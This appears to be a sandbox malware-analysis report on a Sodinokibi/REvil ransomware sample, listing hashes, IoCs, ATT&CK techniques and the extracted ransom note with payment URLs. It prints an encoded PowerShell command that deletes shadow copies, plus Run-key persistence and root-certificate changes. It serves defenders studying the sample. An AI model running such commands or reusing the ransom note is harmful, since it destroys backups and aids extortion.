sodinokibi | a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5

General

Target

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
Size

166KB
MD5

eae6610db384610ede43f9b441597d19
SHA1

d3e189d45baf5429eba80a7b8d64551d8f00d3d1
SHA256

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5
SHA512

ece1f2f33f98b443b24f243e867ab92766ddbd2dab9a6dbeecff293e096c6ddfce019978dca0eae740cae88f27c5dd6bccdf9bcce924422593960e74b8a4b71c

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\771c6571gn-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 771c6571gn. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3F1026148FA4EE74 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3F1026148FA4EE74 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: rpUYNSB/B8VIfexPEJIK4XCplqfRgkkr2yOlFqrIohxQZ4NMTdXaJqi+a59sHdR1 MEkZ5O1JcOBL7E2P+LKS4PPzjLzSnsKJoEsWmP+G33jhKayT603/r2wkbwbAMNFE JAcXRY3G/Kpc6poXnh+CcB9PQFGmXBDurXly87NLvoCUzYtFaruCVwnUemm4RTNc yMxLikIBSPd7qdu5GL8jVxOgY68/K4a3Iz37QMtrTx5a9Ww2+36wAntih9ToZH1w TGRESH7ywaHmChUhJPLCdTmnmQFGBckSIAalRFtGmN4poxFJT3N1JFFbnHdOzWSi 5zSdeJwCYdlvsV3oLngINlEAm/qwgpbya+XSzHNToI9bvRyTVJB6zXo/7i0NfdJH PsEp6NE+Y5rcAUlAdWD1YM32wR6nHTCn0tSVk2bgvgEw23683GmNSrVQbZ/i46sb CK4pbK/pQYWqKMEiKnwqVLCcK3sOXOA+dRTqtyQ8m6ZfrNRJfg0Wo3E2rXkppZ36 CiVPVWYLaI3H5rfEiSpeQCi2MRZqh8IBcWGHA00RmaSCRwHANMKlhQPqpp8TeKHf IXE4/HAcr4UJJJwYcXf+6D9IkE0puga+shzf6iO8ey7ACGJxcIE68kvKEZeM3FHV zMl4CnrAkhvdGtp1yaFNrGG4DWot1etFzLLZzwqLzA8Kt4mV8nnMfXG4cO7TdZg+ rnU5q9+ZO5rjY6nQsWGsMA1ySGEMhnHKjEbTrvHaV71EHIgtaBA6WzAVaGPaZauM pGlZHqbcAVJOosskQ79tZDQvsXhdFugcEJraP1eBe0ewmfswsmChXAhaMgM6JsPV hbaIDh7jmDnDPhbsZ9tIK2YSgs/3Fl1HPa04y76LEMgIZM5KP57LQbFTKDL5f5Re RZJayLYjqIRy72HCnrJtIlX4PslcUEt5Te9Rv8Gh5FKCHqEwycT+KTJXoWxhEviG bNOKEMOMB4TK1EvZv3xEi0hpV8RBAvprep3DKDU8AjQ66k8+DfAHrhwNFjpValNO IWi7RlKT3xdhN45Pb136WnPtRXbeM9KdEBaTuSaeevfo4Hb7YiRnK/3gcdede7zv sxYtiSukTIh0D0ymcaxtoVRmRPEtrMOjXuPV6k1dekttHvYpRD3lkFzIv6vyfcaj K5mcPkMC6JYsGorfrX6WXcqmbyzU3twwaIdQgyqjZmVc6ygL/o09u2ImoG59OaLf C7qMb91wLsrTpI5nJMuqp9UqaLH+cV/4Snl+TlXV1D3a0MYvJnIWJdX5ZLNH1bTW wtWlI0aSs+J0wpNASCCoTcCs7yGQ/Cyg9+S23tbdC40= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3F1026148FA4EE74

http://decryptor.cc/3F1026148FA4EE74

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\RegisterUninstall.png => \??\c:\users\admin\pictures\RegisterUninstall.png.771c6571gn	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File renamed	C:\Users\Admin\Pictures\RenameStep.png => \??\c:\users\admin\pictures\RenameStep.png.771c6571gn	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File renamed	C:\Users\Admin\Pictures\RenameRestart.tiff => \??\c:\users\admin\pictures\RenameRestart.tiff.771c6571gn	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File renamed	C:\Users\Admin\Pictures\StopInvoke.png => \??\c:\users\admin\pictures\StopInvoke.png.771c6571gn	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\users\admin\pictures\RenameRestart.tiff	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File renamed	C:\Users\Admin\Pictures\CompleteResolve.crw => \??\c:\users\admin\pictures\CompleteResolve.crw.771c6571gn	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File renamed	C:\Users\Admin\Pictures\ProtectConfirm.png => \??\c:\users\admin\pictures\ProtectConfirm.png.771c6571gn	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe"	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
File opened (read-only)	\??\R:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\S:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\T:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\U:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\Y:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\B:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\E:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\G:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\Z:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\D:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\K:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\M:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\Q:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\P:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\X:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\A:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\L:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\N:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\J:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\O:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\V:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\W:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\F:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\H:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened (read-only)	\??\I:	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Drops file in System32 directory 1 IoCs

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7w4wn7jnmgy.bmp"	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Drops file in Program Files directory 21 IoCs

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
File opened for modification	\??\c:\program files\ResumeEnable.html	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\StopOpen.dwfx	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\SyncWait.jfif	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\MountBackup.vstx	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\ExpandExport.jpeg	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\ExpandResolve.au	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\ConfirmUnprotect.xltx	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File created	\??\c:\program files (x86)\771c6571gn-readme.txt	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\FindHide.rtf	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\FindLock.vdx	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\InitializeSubmit.tif	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\RestartMount.ps1xml	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\SplitSkip.wav	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\UnprotectConvertTo.htm	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File created	\??\c:\program files\771c6571gn-readme.txt	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\771c6571gn-readme.txt	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\771c6571gn-readme.txt	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\771c6571gn-readme.txt	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\WatchRepair.mov	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\SwitchUnpublish.edrwx	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
File opened for modification	\??\c:\program files\StopBackup.htm	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exepowershell.exe

pid process

1664 a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
1612 powershell.exe

pid	process
1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
1612	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeBackupPrivilege	2008	vssvc.exe
Token: SeRestorePrivilege	2008	vssvc.exe
Token: SeAuditPrivilege	2008	vssvc.exe
Token: SeTakeOwnershipPrivilege	1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe

description	pid	process	target process
PID 1664 wrote to memory of 1612	1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe	powershell.exe
PID 1664 wrote to memory of 1612	1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe	powershell.exe
PID 1664 wrote to memory of 1612	1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe	powershell.exe
PID 1664 wrote to memory of 1612	1664	a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe
"C:\Users\Admin\AppData\Local\Temp\a5a2f608fbd40bf76178db66e7e789fbbabb3b35fc284be1c10615dbfa0853c5.exe"
1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1064

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/1612-55-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

Filesize
8KB

Download
memory/1612-57-0x00000000028C0000-0x00000000028C2000-memory.dmp

Filesize
8KB

Download
memory/1612-58-0x00000000028C2000-0x00000000028C4000-memory.dmp

Filesize
8KB

Download
memory/1612-59-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/1612-56-0x000007FEF2D90000-0x000007FEF38ED000-memory.dmp

Filesize
11.4MB

Download
memory/1612-60-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download
memory/1664-54-0x0000000075B51000-0x0000000075B53000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads